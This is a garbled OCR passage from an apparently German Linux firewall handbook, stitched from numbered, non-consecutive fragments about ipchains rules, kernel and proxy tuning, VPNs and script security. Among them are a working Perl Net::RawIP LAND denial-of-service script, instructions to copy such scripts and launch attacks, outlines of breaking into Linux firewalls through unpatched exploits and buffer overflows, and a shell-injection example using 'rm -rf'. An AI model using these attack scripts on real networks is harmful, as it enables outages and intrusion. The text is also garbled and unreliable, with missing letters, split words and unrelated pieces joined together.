im Anhang ber Firewallregeln Pakete mit ACK Bit werden also nur dann akz
116. ist Pa worte w rden in diesem Falle nur ber Port 110 bertragen mit Sicherheit werden es unverschl sselte Pa worte sein Genau hier wird also ein Netzwerksniffer ansetzen z B BO Da bei neueren LINUX Versionen POP3 gut gesichert ist bleibt nur noch ein Angriff ber PORTMAP MOUNTD INETD HTTP von innen heraus brig Dem Angriff m sste also ein Security Scan des Gateways von innen vorausgehen Ein Blick auf BUGRAQ verr t schon einige Exploits die in S u S E LINUX 5 3 und 6 0 aber auch anderen Distributionen noch nicht aktuell gepatcht sein k nnen es sei denn der Systemadministrator hat diese Sicherheitsprobleme beseitigt Die Wahrscheinlichkeit von Innen heraus einen erfolgreichen exploit zu starten ist relativ hoch Nachteil ist da dieser auf Windows 95 98 oder NT portiert werden mu Dank der neuen Winsock 2 0 ist dies kein Problem mehr der Aufwand ein Programm welches RAW sockets anspricht ist gering Der SSH MOUNTD oder SAMBA exploit w rde mit hoher Wahrscheinlichkeit erfolgreich sein vorausgesetzt da der Router als Fileserver und E Mailserver eingesetzt wird Ist zudem noch X Windows installiert was bei LINUX Routern meistens so ist ist auch hier ein gro es Sicherheitsloch gegeben Da aber Angriffe auf Applikationsebene Tetris gut funktionieren besteht ein Anla sich weiter Gedanken zu machen Der Einsatz von SQUID auf dem Router Firewall hat es berhaupt erst erm glicht
117. j MASQ s 192 168 0 0 24 d 0 0 0 0 0 Alter Befehl ipfwadm I a accept V 10 1 2 1 S 10 0 0 0 8 D 0 0 0 0 0 Neuer Befehl ipchains A input j ACCEPT i ethO s 10 0 0 0 8 d 0 0 0 0 0 Das ipfwadm wrapper Skript Das ipfwadm wrapper ist als Ersatz zu dem alten ipfwadm Toolkit gedacht Die Syntax kann beibehalten werden Die einzige Ausnahme ist die Option V die sich nicht bersetzen l t weil das Accounting unter IPCHAINS automatisch durchgef hrt wird F r alle Regeln werden stets Z hler mitgef hrt F r Kenner des alten IPFWADM Befehls wie ich auch steht allerdings das Toolkit ipfwadm2ipchains zur Verf gung welches man auf Erstellt von Doc Gonzo http kickme to plugins der Site http www freshmeat net finden kann Damit lassen sich problemlos die alten Skripte bersetzen 13 Problem Fernwartung einer LINUX Firewall Die Fernwartung eines Servers oder einer oder mehrerer Firewalls ist eine kritische Angelegenheit Einerseits ist hierf r ein zus tzlicher Dienst oder D mon notwendig der auch Sicherheitsprobleme mit buffer overflows haben kann andererseits ist Fernwartung in gr eren Netzwerken unerl lich Oft sind gr ere Netzwerke mit strukturierter Verkabelung mit intelligenden Switches ausger stet soda man f r die Firewalls ein eigenes VPN Virtual Private Network schalten kann Hierbei sollte man pro Firewall einfach noch eine zus tzliche Netzwerkkarte einstecken und daf r sorgen da die D monen
118. jedoch man verzichtet gleich auf empfindliche Server Drucker und Desktop Betriebssysteme e Angriffe 1 10 und ihre Untervarianten lassen sich dar ber hinaus auch noch zuf llig miteinander kombinieren Die Zahl der m glichen Varianten ist sehr hoch die Zahl der sinnvollen Varianten beschr nkt sich auf ca 130 St ck Firewalls mit dynamischen Regeln werden hierbei hart beansprucht und bis an die Leistungsgrenze strapaziert Hierbei treten DoS Ph nomene auf die von vielen Firewall Testern Zertifizierern nicht getestet werden k nnen Wie erzeuge ich DoS Pakete Nun das ist eine berechtigte Frage Hierzu m ssen Sie zun chst ROOT Zugriff auf einen UNIX Server haben Dann steht es Ihnen frei dies entweder nach den Beispielen bekannter EXPLOITS von z B http Awww rootshell com nach zu programmieren RAW Sockets unter C sind aber nicht jedermanns fraus Sache In PERL mit dem Toolkit net rawip ist das viel viel einfacher zu realisieren Sie finden das Toolkit hier http quake skif net RawlP oder auf Sergey Kolchev s Homepage in der Ukraine http Awww ic al lg ua ksv Hier nur ein paar Beispiele Sie brauchen diese nur in ein Verzeichnis zu kopieren mit chmod u x die Executable Rechte zu vergeben und k nnen sofort einen Angriff starten aber bitte aussschlieBlich nur auf Server im Intranet diese Angriffe k nnen n mlich von vielen Routern Firewalls entdeckt werden Falls Sie hierzu irgendwelche Fragen haben es gibt auch
119. keinen vern nftigen TCP IP Stack liefern was auch die riesigen Ausf lle bei Internet Providern mit NT Servern zeigen Die Gartner GROUP hat signifikante Unterschieden bei den DOWN Zeiten zwischen den gro en Plattformen festgestellt siehe INFORMATIONWEEK 17 18 vom 19 August 1999 Seite 40 AS 400 5 2 Stunden Jahr 390 8 9 Stunden Jahr UNIX 23 6 Stunden Jahr Windows NT 224 5 Stunden Jahr Da wei man was man hat Sch nen guten Abend Zitat von Jan Hagemeier Bonn Hier nun einige Beispiele Der LAND Angriff usr bin perl require getopts pl use Net RawIP Getopts i p a new Net RawIP die Usage 0 i lt target gt p lt target port gt unless opt_i amp amp opt_p a gt set ip gt saddr gt opt_i daddr gt opt_i tcp gt dest gt opt_p source gt opt_p psh gt 1 syn gt 1 D a gt send Fertig Ja es ist wirklich so einfach Spielen Sie mit den Flags psh syn herum und sie werden merken da bei der richtigen Kombination Windows NT Cluster Tandem Wolfpack aussteigen Ein einfacher PING ust bin perl use Net RawIP qw pcap a new Net RawIP icmp gt a gt set ip gt saddr gt www intra net insert your site here daddr gt ARGV O Erstellt von Doc Gonzo http kickme to plugins icmp gt type gt 8 id gt D device eth0 insert your device here filt ip proto icmp and dst h
120. keinerlei Statusinformationen ber die benutzten Ports z B von welchem Rechner diese initiiert wurden welche Protokolle zu den Ports geh ren und warum NFS RPC F r viele Protokolle m ssen Ports oberhalb von 1024 f r Zugriffe von au erhalb freigegeben werden was zu unz hligen Sicherheitsl chern f hrt Es gibt zahlreiche Tricks die Fehler in Betriebssystemen hinter dem Firewall Router ausnutzen um diesen durchtunneln zu k nnen Weiterhin besitzen diese Firewall Router keine User Authentifizierungsmechanismen Firewall Router besitzen keinen vollst ndigen TCP IP Stack Sie sind nur in der Lage auf IP Ebene Pakete weiterzuleiten Daher berpr fen sie einige Dinge bei der Weiterleitung auf andere Netzwerkinterfaces nicht Das sind z B IP Fragmentierung TCP Pr fsummen Offsets bei Sequenznummern Flags in IP und TCP Headern N heres siehe Angriffsvarianten auf TCP IP Stacks Die meisten der o a Angriffsvarianten auf einen Server hinter dem Firewall Router werden nicht abgefangen So haben sich einige Hersteller aus Gr nden des Marketings kurz damit beholfen indem sie die Bytefolge Signatur von bekannten Angriffen aufgezeichnet haben und diese dann aus dem Datenstrom herausfiltern Mit Werkzeugen wie Ballista oder IPSEND ist es einem Angreifer leicht m glich Signaturen zu erzeugen die noch Erstellt von Doc Gonzo http kickme to plugins nicht erkannt werden Desweiteren sind Firewall Router anf llig gegen spo
121. lilo append ether 1 1 0x6100 ethO ether 9 0x6200 ethl mem 128M boot dev hda map boot map install boot boot b prompt timeout 50 image boot vmlinuz label linux root dev hda2 read only image boot vmlinuz original label original root dev hda2 read only other dev hdal label win95 Erstellt von Doc Gonzo http kickme to plugins table dev hda Nun mu nur noch folgendes ausgef hrt werden sbin lilo sync shutdown r now Das System startet dann neu Der Befehl sbin lilo dient dazu dem Bootmanager den Ort der neuen Kernel zu bergeben Dieser Befehl mu generell nach wichtigen Anderungen im Festplattensystem z B nach einer Defragmentierung oder nach der oben beschriebenen Neukompilierung des Kernel stattfinden Wenn alles erfolgreich verlaufen ist dann m te die Netzwerkkarte aktiviert sein Im anderen Falle mu der Kernel mit dem alten Kernel neu gebootet werden Hierzu dr ckt man sobald lilo erscheint auf die Tab Taste Nun erscheinen die beiden Kernel oder auch mehr zur Auswahl Durch eintippen von original und Bet tigung der ENTER Taste wird der alte Kernel noch einmal gebootet Die obigen Schritte der Konfiguration des Bootmanagers sind dann zu wiederholen 22 4 Konfiguration der Netzwerk Interfaces Wir gehen davon aus das nun der Kernel die Treiber eingebunden hat und die Netzwerkkarten beide konfigurierbar sind Sollte keine der beiden Netzwerkkarten nach der nun folgenden Beschreib
122. man Eintr ge in der HASH Queue l schen die unterbrochen wurden oder zu lange Wartezeiten zwischen den Paketen besitzen Um dieses zu tun mu bei der Herstellung einer Verbindung ein Timer initialisiert werden der jedesmal wenn ein Paket einer g ltigen Verbindung passiert von neuem beginnt zu z hlen reset Sicherlich w rde dieser Mechanismus die Effektivit t der Firewall beeintr chtigen und h ngende Verbindungen m glicherweise unn tig beenden Filterregeln F r h here Effizienz der Firewall werden nur neue TCP Verbindungen und Nicht TCP Pakete analysiert Die lineare Liste des Regelwerkes in der Firewall wird der Reihe nach mit dem Inhalt des Datenpaketes verglichen Sobald eine Regel zutrifft wird das Paket f r weitere Untersuchungen markiert und gespeichert Die erste Untersuchung Inspektion gilt dem Protokoll Die Protokollfelder des Regelwerkes werden mit denen des Paketes verglichen IGMP und ICMP Pakete werden einer gesonderten Untersuchung unterworfen in der festgestellt wird ob der Typ in den Regeln enthalten ist Dieses mu in einem switch Statement C C erfolgen weil eventuell weitere Typen in dem Paket in einer Bitmap enthalten sein k nnten RIP Pakete werden ebenfalls einer gesonderten Behandlung unterzogen F r den Falls das das Paket ein UDP Paket ist und auf Port 520 zugreift dann wird die Funktion check _rip aufgerufen um zu ermitteln ob alle angekundigten Ziele in dem Regelwerk aufgeliste
123. nicht in das Internet weitergeleitet 255 255 255 255 f r allgemeine Broadcasts 127 0 0 0 f r LOOPBACK Nun zur ck zum Paket forwarding Der Befehl ipfwadm F p deny untersagt die Weiterleitung von Paketen zwischen allen Interfaces Genaugenommen sind es nun drei Interfaces ethO der ersten Netzwerkkarte eth1 der zweiten Netzwerkkarte und lo dem Loopback Interface Eventuell kommt noch eine ISDN Karte hinzu diese belegt das Interface ipppO f r ISDN Kanal 1 oder ippp1 f r den 2 ISDN Kanal Das w ren 5 Interfaces Nun der Name UNIX kommt nicht von irgendwo er leitet sich aus UNICS ab einem UNlversal Computer System Sp ter wurden nur CS zu X verschmolzen Linus Torwalds ist genau auf demselben Wege zu dem Namen LINUX gekommen Nun mu man sich entscheiden und diesen Interfaces eine IP Nummer zuweisen Damit nicht alle Befehle immer wieder eingegeben werden m ssen schreiben wir diese in eine Skript Datei Damit das Skript allgemeing ltig ist werden ab hier Namen statt IP Nummern eingef hrt Diese bezeichnen Variablennamen f r die Abarbeitung in der BASH der Standard Shell unter Linux IP Nummern sind schwer zu merken und irgendwann hat man keinen Durchblick mehr welche IP Nummer und Netzwerknummer welchem Interface zugeordnet ist Der Befehl set zeigt alle Variablen an Der Befehl variable wert weist einer Umgebungsvariablen einen Wert zu Der Befehl echo echo variable gibt den Wert der Variablen aus Somi
124. nicht nutzbar ist l t vermuten da von vielen Arbeitspl tzen aus ber Port 8080 und ns nobbelazzo com als Gateway ein Herausschleusen von Informationen m glich ist Die Firewall dient dann nur noch zur Aufzeichnung eines Angriffs um hinterher genau feststellen zu k nnen da die Informationen an irgendeinen Host im Internet z B in Japan gesendet wurden von welchem aus sich die Spur verliert Die Information da innerhalb des Netzwerkes Exchange 5 5 zum Einsatz kommt spielt weniger eine Rolle Es l t vermuten da hier Virenscanner u installiert sind welche allzu schnell einem DoS Angriff zum Opferfallen k nnten ebenso wie ns nobbelazzo com wahrscheinlich da es auf LINUX basiert mit einem lteren TCP IP Stack Problem konfrontiert schnell seine Arbeit einstellen w rde Es spielt heute f r einen Angreifer kaum noch eine Rolle ob eine Firewall installiert ist oder nicht das eigentliche Problem sind die Windows NT Arbeitstationen und die Anwendungsprogramme Office und der Internet Explorer Angriff auf eine LINUX Firewall LINUX wird immer wieder gerne als Kompaktl sung also als E Mail Gateway PROXY Cache ISDN Router und Firewall eingesetzt Perfekt sind die Firewall Regeln aufgesetzt es ist kein Port nach au en ge ffnet E Mails werden st ndlich via fetchmail von einem Sammelaccount im Internet auf den Server geladen Soweit ergeben sich keine Angriffspunkte f r einen Einbruch in das System von au en Das
125. plugins die PROXY s unter NT so einzurichten da ein solcher Angriff nicht m glich ist Wird dieser PROXY von einem Nicht Fachmann f r Security installiert sind Einbr che nicht zu verhindern Diese Server sind fast nicht gegen viele Arten von DoS Angriffen zu sichern und auch f r buffer overflows empf nglich Es gibt zahlreiche Anbieter von PROXY Firewalls f r Windows 95 98 oder NT 4 0 Alle setzen auf dem TCP IP Stack von Microsoft Windows auf Die Administration erfolgt entweder ber die Arbeitsstation selber oder aber remote entweder ber Zusatzsoftware oder ber den Browser In diesem Moment ist die Gefahr existent da ein Angreifer mit einem berlangen String schon bei der Pa wortabfrage einen buffer overflow initiieren kann auch wenn diese ber SSL oder SSH Verschl sselung l uft Die Arbeitsstation geh rt in diesem Moment n mlich logisch gesehen zur Firewall hinzu W hrend der gesamten anderen Zeit wird diese Arbeitsstation h ufig von dem Systemadministrator zum surfen und zum Lesen von E Mails benutzt Ein Angreifer ist w hrend dieser Zeit in der Lage diese Arbeitsstation mit einem trojanischen Pferd unter seine Kontrolle zu bringen oder zumindest das shared secret z B den SSH Schl ssel und das Pa wort in seinen Besitz zu bringen SSH und vermutlich auch andere Verschl sselungs Authentifizierungssoftware ist gegen buffer overflows anf llig Mit Kenntnis des Schl ssels des Pa wortes und
126. r SSL Server gestaltet sich der Test nicht so einfach man mu zudem zwischen den verwendeten SSL Versionen unterscheiden F r SSL V2 gibt es im Quellcode Software f r einen PROXY Diese Verschl sselungsroutinen kann man benutzen um netcat sockets lynx o Software um diese Routinen zu erweitern Zum Test von SSL V3 mu man diese Mechanismen dort einbauen da hier ein PROXY MITM nicht toleriert wird Zum testen von SSL V2 kann man obiges Verfahren anwenden um die Daten ber einen geringf gig modifizierten SSL Proxy zu senden der dann seinerseits einen verschl sselten Tunnel zum System aufbaut Da kann z B mit der SSL Version von netcat oder socket erfolgen Der Zugang zum Tunnel kann dann unverschl sselt stattfinden Da dieser Angriff etwas komplexer ist ist zu vermuten da auch die Hersteller keine Ahnung haben ob und welche Gefahren drohen Es ist aber stark zu vermuten da sich hinter der Barriere der Verschl sselung wieder ein normaler WWW Server mit allen bekannten Sicherheitsproblemen verbirgt Der Revisionsstand d rfte hinter seinen unverschl sselten Kollegen etwas hinterher hinken daher sind diese Systeme die Nummer 1 auf der Liste von professsionellen Angreifern Der Support f r SSL V3 Proxies in Firewalls beschr nkt sich stets auf die Freigabe des Ports 663 ein Schutz besteht auch hier nicht Ich habe pers nlich einmal einige SSL HTTP Server unter Laborbedingungen untersucht und Angriffe mit den typischen exploit
127. rlich von der Ausbildung und vom Skill den F higkeiten wie die Amerikaner sagen des Systemadministrators abh ngig Angesichts der interessanten Erfahrungen die z B ich als SysOP von vielen Netzwerken gemacht habe kann ich durchaus behaupten da Cracker durchaus auch heute noch in fast alle Netzwerke einbrechen k nnen Ich zumindest traue mir nicht zu ein Netzwerk gegen einen erfahrenen Cracker abzusichern Die einzige Ausnahme ist die in Kapitel GRAPHICAL FIREWALL vorgestellte Firewall von der ich genau wei da sie nach meinem Wissen nicht zu knacken ist Ich denke da auch Sie nach dieses Handbuches wissen da Sie bisher einiges noch nicht wu ten 1 1 Dringende Fehlerkorrekturen in Versionen vor 3 0 Dieses Kapitel beschreibt Fehler in meinem Handbuch auf die ich netterweise hingewiesen wurde Ich m chte hierbei allen danken die sich konstruktiv an der Verbesserung des Skriptes beteiligt haben Kapitel Abarbeitung der Firewallregeln und die default policy 1 2 Erg nzungen in Version 3 0 Kapitel Tuning von LINUX Firewallrouter und SQUID Proxy Kapitel Die Benutzeroberfl che der SINUS Firewall Kapitel Die tats chliche Zahl von Angriffen auf Unternehmen Kapitel Angriff auf Microsoft Backoffice Kapitel Sicherheit der PIN CODES von Chipkarten Kapitel Sicherung von SQL Datenbanken Kapitel DoS Angriffe auf Firewalls Kapitel Erstellung einer Security Policy Kapitel Absicherung von PERL Scripten auf Servern Kapitel Seri
128. sich stets Verbindungen die mit einem SYN Flag erfolgreich den Filter passiert haben Da TCP Verbindungen stets mit Pr fsumme und Sequenznummer abgesichert sind gelingt es dem Zielhost oder der Firewall nicht diese Pakete einer Verbindung zuzuordnen daher werden sie abgelehnt Da es leider noch einige Betriebssysteme gibt die schwere Fehler im TCP IP Stack haben Windows NT sollte man m glichst eine Firewall mit PROXY einsetzen Stateful Paket Filter SPF s leiten Pakete manchmal ohne diese Pr fung weiter RAPTOR FIREWALL 1 Um also einen Verbindungaufbau von au en nach innen zu erlauben darf beim ersten Paket das ACK Bit nicht gesetzt sein Was passiert aber wenn der Router nicht nach SYN ACK unterscheiden kann oder die ACK Regeln falsch gesetzt wurden Ein Beispiel Regel Richtung Protokoll Quellport Zielport 1 ein TCP gt 1023 25 2 aus TCP 25 gt 1023 3 aus TCP gt 1023 25 Erstellt von Doc Gonzo http kickme to plugins 4 ein TCP 25 gt 1023 Das Beispiel zeigt die Filterregeln die einen Host hinter einem Paketfilter sch tzen sollen Ein Client aus dem Internet kann eine Verbindung zu dem Host aufbauen um e Mail zu senden Regel 12 Der Host selber darf Verbindungen zu anderen Hosts aufbauen um e Mails zu versenden Regel 34 Was ist aber wenn ein Angreifer mit einem Client von Port 25 aus einen beliebigen Port gt 1023 auf dem Host erreichen will Nach Regel 4 w rde die Verbindung zugelassen werden Ei
129. ssen Beim Kernel ist es wichtig die maximale Zahl der Filehandels auf mindesten 1024 zu vergr ern und die maximale Zahl der halboffenen Verbindungen vergr ert wird Hierzu mu man in der Datei usr src linux include linux socket h die Variable SOMAXCONN auf 400 500 keinesfalls auf h here Werte vergr ern und die Zahl der Filedeskriptoren in der Datei usr sre linux include linux posix_types h auf 4096 oder 8192 _ FD_SETSIZE 8192 setzen Hiermit teilen Sie dem Kernel und vor allem allen neu kompilierten D monen mit da nun mehr als 256 bzw 1024 Dateien gleichzeitig offen sein d rfen Bei einem Engpa w rde ansonsten der PROXY Cache nicht gen gend Dateien ffnen und vor allem offenhalten k nnen soda hier der PROXY sehr gebremst wird Er mu n mlich zuerst einen Handel schlie en damit er einen neuen f r einen Surfer ffnen kann Der Surfer hat den Eindruck die ISDN Leitung w re v llig berlastet jedoch ist in Wahrheit der PROXY berlastet Man mu bedenken da manchmal auf einer WWW Seite bis zu 100 kleine Grafiken sind Allein schon 10 20 User k nnen dann einen Standard S u S E 6 2 Kernel max 1024 offene Dateien bzw den PROXY CACHE arg stressen Nach dem Patch mu also zuerst der Kernel und dann der SQUID Proxy neu kompiliert werden In der Konfigurationsdatei etc squid conf sollte man die Werte f r die Zahl der Verzeichnisse in der Zeile cache_dir var squid cache 16 256 auf folgende Parameter setzen cach
130. the root of the web tree n else p argv 1 if chdir p uMsg U_FATAL chdir to s failed S p else if chroot p uMsg U_FATAL chroot to s failed S p else if setuid uid 0 uMsg U_FATAL setuid failed S else if setgid gid 0 uMsg U_LFATAL setuid failed S else execl bin httpd httpd char O uMsg U_FATAL execl failed for httpd S exit ierr wrapper ENDS Now you have to install your existing html files into your new tree If people have been using relative pathnames in their html files then there won t be many difficulties In my case I just copied all necessary trees into the new location using korn shell syntax cd old_web_tree for i in dirl dir2 dir3 dir4 blahblahblah do cp r i wtree i done You will have to correct any html files that have full pathnames in their Erstellt von Doc Gonzo http kickme to plugins links You will also have to correct any cgi Skripts or shell Skripts that have incorrect pathnames in them for example usr local bin perl Now go around and put out fires NOTE It is possible to write C utilities that will remote shell to a trusting host using getservbyname and remd to get some time critical information that you want to have accessible from your web tree Well people use web trees for all kinds of purposes The utility can screen options to ens
131. to Point Tunneling Protocol welches von Microsoft favorisiert wird Es gibt inzwischen ausgereifte PPTP Server und PPTP Gateways die auch das Tunneln ber die Firewall erlauben PPTP Server unterst tzen unter LINUX inzwischen das Point to Multipoint Protokoll soda sich hiermit auch VPN s unter LINUX sehr einfach aufbauen lassen 27 1 PPTP unter LINUX und Windows Unter LINUX und anderen UNIX Derivaten ist nun der PMPTP Serverd mon frei verf gbar und z B auf http www freshmeat net zu finden PMPTP steht f r Point to Multipoint Transfer Protocol und besagt da sich hier Microsoft Windows 98 NT Clients zu vielen gleichzeitig an den Server anbinden k nnen Hierbei werden alle TCP Pakete verschl sselt da im Prinzip bei den Clients alle Pakete aus der Netzwerkkarte kommend verschl sselt werden Man mu hierzu auf den Clients eine Microsoft Netzwerkkarte nachinstallieren Danach erst erscheinen die Einstellungsm glichkeiten f r PPTP Serverseitig sollte man einfach den ausf hrlichen Installationsanweisungen des PMPTP Serverd mons folgen Die Installation ist recht einfach Man sollte jedoch stets ber cksichtigen da sowohl Server als auch Clients neben dem PPTP Protokoll auch noch normal mit anderen Servern oder untereinander kommunizieren k nnen Daher sollten alle anderen Protokolle die unverschl sselt sind gel scht werden Nur so kann man sicher sein da zwischen Clients und Server niemand mehr Daten abh ren kann
132. unter Anwendung von spoofing ist der Angreifer in der Lage die Firewall auszuschalten S u S E LINUX Firewall S u S E zeichnet sich stets durch einfache Installation und die besonders in Deutschland gefragte ISDN Unterst tzung aus Seit Version 5 3 6 0 hat S u S E eine Firewall Konfiguration und eine Installationsanleitung mitgeliefert Wie schon oben erw hnt ist diese Firewall erwiesenerma en von innen her z B ber den SSH D mon anzugreifen Katastrophal sind aber die vorgeschlagenen Installationshinweise und der dort vorgeschlagene Aufbau der gegen alle Regeln verst t die in Standardb chern z B Einrichten von Internet Firewalls als gef hrlich bezeichnet werden Die LINUX Firewall arbeitet hier als bastion host was angesichts der gro en Probleme mit buffer overflows von LINUX schon ein Problem darstellt Die Firewall ist hier zwischen Router zum Internet und dem Intranet angesiedelt Bei entsprechender Einstellung der Variablen FW_FRIENDS FW_MAILSERVER FW_DNSSERVER FW_WWWSERVER werden Server die im Intranet zusammen mit den Arbeitsstationen stehen f r den Zugriff aus dem Internet freigegeben Im Falle da dort ein Server mit bekannten Sicherheitsproblemen installiert ist z B LINUX Server oder Windows NT Exchange Server kann ein Angreifer aus dem Internet direkt einen buffer overflow dort initiieren und diesen dann als trojanisches Pferd f r weiteres gebrauchen Es wird v
133. v L input Chain input refent 1 policy ACCEPT pkts bytes target prot opt tosa tosx ifname mark source destination ports 10 840 ACCEPT icmp OxFF 0x00 lo anywhere anywhere any ipchains Z input ipchains v L input Chain input refent 1 policy ACCEPT pkts bytes target prot opt tosa tosx ifname mark source destination ports 0 0 ACCEPT icmp OxFF 0x00 lo anywhere anywhere any Das Problem bei dieser Vorgehensweise ist da man manchmal die Z hlerst nde ablesen mu bevor diese resettet werden In obigem Beispiel k nnen die Optionen L und Z zusammen angewendet werden um die Z hlerst nde beim Ablesen zu resetten Ungl cklicherweise ist das nicht m glich wenn sich die Befehle auf eine einzige chain beziehen Hierbei m ssen dann alle chains zugleich resettet werden ipchains L v Z Chain input policy ACCEPT pkts bytes target prot opt tosa tosx ifname mark source destination ports 10 840 ACCEPT icmp OxFF 0x00 lo anywhere anywhere any Chain forward refent 1 policy ACCEPT Chain output refent 1 policy ACCEPT Chain test refcnt 0 0 ODENY icmp OxFF 0x00 ppp0 localnet 24 anywhere any ipchains L v Chain input policy ACCEPT pkts bytes target prot opt tosa tosx ifname mark source destination ports 10 840 ACCEPT icmp OxFF 0x00 lo anywhere anywhere any Chain forward refent 1 policy ACCEPT Chain output refcnt 1 policy ACCEPT Chain test ref
134. verf gbar ist m chte ich hier an dieser Stelle noch ein Zitat aus dem Handbuch von ORACLE erw hnen When the IP port number of the SQL Net connection can be determined in advance such as 1521 then connection can be permitted with some degree of security Systems running multi threaded servers pre spawned servers or ones with architectures that do not support IP port sharing require dynamic port allocation which tends to prevent connections Firewall support where IP port redirection is employed requires an intelligent filter to monitor the port redirection information during the connect phase so that the filter can selectively open up the required port Alternatively a wide range of ports would have to be opened in advance which would severely compromise security In an application proxy solution the proxy itself handles IP port redirection issues 1 Multi Threaded Server MTS and pre spawned servers always use dynamic port numbers 2 Dedicated Server may either use 1 single port number say 1521 or 2 dynamic port numbers Wherever possible the first option is taken It is the operating system and TCP IP protocol implementation that determines which option is taken not the version of Oracle or SQL Net Erstellt von Doc Gonzo http kickme to plugins 3 Oracle is producing i e not available yet March 1996 a SQL Net proxy which Oracle encourage FW vendors to integrate into their products The proxy is based on the Ora
135. versucht e Das Mitloggen von Ereignissen schon zu Beginn kann sehr aufschlu reich sein insbesondere auch der internen Pakete Es sollten stets auch alle Flags SYN ACK berpr ft werden Mit der Option o am Anschlu einer jeden Firewallregel wird sichergestellt da bei einem Versto gegen diese Regel ein Eintrag im Logfile der Firewall erscheint e Schon beim Aufbau der Firewall sollte die Security Policy aufgestellt sein 10 berpr fung der Firewallregeln Es ist immer eine gute Idee die Firewallregeln auch von einer zweiten Person berpr fen zu lassen die viel weniger Ahnung hat Die vielen Fragen die dann aufkommen zeigen dann ob alles richtig verstanden und umgesetzt wurde Die Befehle lauten Erstellt von Doc Gonzo http kickme to plugins e ipfwadm F I n um sich die Regeln zur Weiterleitung der Pakete zwischen den Interfaces anzeigen zu lassen e ipfwadm l I n f r eingehende Pakete e ipfwadm O l n f r ausgehende Pakete 10 1 berpr fung der forwarding Regeln ipfwadm F 1 n IP firewall forward rules default policy deny type prot source destination ports acc m all 10 0 1 0 24 0 0 0 0 0 n a Die Ausgabe besagt da die default policy auf deny gesetzt ist in der Tabelle steht da alle Pakete aus dem Netzwerk 10 0 1 0 in das Internet weitergeleitet werden und zwar auf allen Ports und mit aktiviertem masquerading acc m Die Zahl 24 gibt die signifikanten Bits an 24 entspricht 255 25
136. von Open Net FreeBSD ganz einfach auf LINUX portieren Angesichts der hohen Qualitat der BSD D monen sollte man als Systemadministrator im Bedarfsfall auf diese D momen zur ckgreifen Das chroot Skript findet sich berall im Internet oder auf dem Server des DFN CERT der wirklich eine viel untersch tzte Resource ist Windows NT 4 0 im brigen unterst tzt im Prinzip aufgrund seiner POSIX Kompatibilit t auch chroot Wenn Windows NT in der Version 6 0 dann irgendwann einmal alle Funktionen von UNIX beherrscht und ein echtes Multiuser Multitasking Betriebssystem sein wird dann wird das Thema dort sicher top aktuell werden Erstellt von Doc Gonzo http kickme to plugins 22 7 Warum Filter anf llig gegen buffer overflows sind Das folgende Beispiel stammt von Eric Dumazet und findet sich auf ftp ftp ris fr pub linux proxy Es ist ein Beispiel f r einen Proxy wie man ihn auf vielen Firewalls implementiert finden kann Viele Firewall Hersteller benutzen oft Code aus dem Internet um Ihrer Firewall noch ein paar spezielle Protokolle hier einem VDO Proxy hinzuzuf gen Dies ist nicht der in dem LINUX Kernel implementierte Proxy sondern einer der auf jedem UNIX einfach zu installieren ist Der Autor hat auch einen transparenten HTTPD PROXY geschrieben der auch auf o a URL zu finden ist Das Problem mit diesem Proxy ist folgendes Es fehlen berall Begrenzungen f r die maximal zul ssige Lange der Ubergabeparameter Um festst
137. was das Programm genau macht etwas sp ter wird sich das R tsel aber aufl sen Etwas beunruhigend das Neoplanet mit dem Address Book anfangen will SOFTWARE Clients mail SOFTWARE Classes mailto shell open command SOFTWARE Classes mailto DefaultIcon SOFTWARE Clients mail s protocols mailto shell open command SOFTWARE Clients mail s protocols mailto DefaultIcon SOFTWARE Clients mail s shell open command ee Das Programm ffnet ber POP und SMTP seine Verbindung in das Internet Die IP Nummern hat des den Konfigurationsfiles des InternetExplorers entnommen nett open pop3 server smtp server NeoLex tlx lu words checked lu errors detected lu words changed UserDic tlx NeoLex tlx NeoLex clx Correct tlx Ein g ltiges Pa wort auf dem NeoMail Server UseNeomail AsDfGhJk pop3 pass downloadlink delete messages name e address pop3 account setuphelp Die Online Hilfe http www neoplanet com help emailsettings htm Hess Last Check One or more email accounts failed Successful Nun wird es interessant NeoPlanet ktimmert sich um andere installierte Programme wie Pegasus Mail Eudora Outlook ffnet alle Konfigurationsdateien und liest deren Inhalte Es ist nur noch ein Frage wohin Neoplanet die Inhalte schickt Antwort kommt sp ter Pegasus Mail for Windows built in TCP IP Mail Settings Netscape Mail Pegasus Mail Eudora 4 0 Outlook Outlook Expr
138. werden k nnen 30 2 Typische Schwachstellen bei PERL Skripten 1 Die Ausf hrung externer Kommandos sei es durch system oder auch ganz einfach bei einer Pipeline mit open ist grunds tzlich sehr gef hrlich wenn eine Angreifer auf die Ubergabeparameter Einflu nehmen kann 2 Wenn bei auszuf hrenden Kommandos kein absoluter Pfadname angegeben wird kann es berraschungen durch eine manipulierte Umgebungsvariable PATH IFS geben oder durch vorgeschobene Kommandos eines Angreifers die weiter vorne im Pfad vor dem eigentlich gew nschten Kommando liegen 3 Sowohl bei open als auch bei system sind beliebige Shell Metazeichen zugelassen Wenn eine Einfl m glichkeit auf die Zeichenkette existiert die der Shell bermittelt wird ist es damit leicht m glich ein Kommando des Angreifers anzuh ngen z B rm rf welches die Festplatte l scht 4 Die Shell trennt Kommandozeilen auf Basis der Umgebungsvariablen IFS auf Wenn die z B auf den Schr gstrich gesetzt wird dann wird aus einem absoluten Kommandonamen beispielsweise unerwartet das Kommando usr Erstellt von Doc Gonzo http kickme to plugins 10 11 12 13 Wenn Dateien zum Schreiben er ffnet werden 1 wenn der Dateiname in Abh ngigkeit von Angaben eines Angreifers gew hlt wird 2 die zu kreierende Datei in einem vom Angreifer beeinflu baren Verzeichnis liegt oder 3 wenn der Dateiinhalt beeinflu t werden kann Eine typische Fa
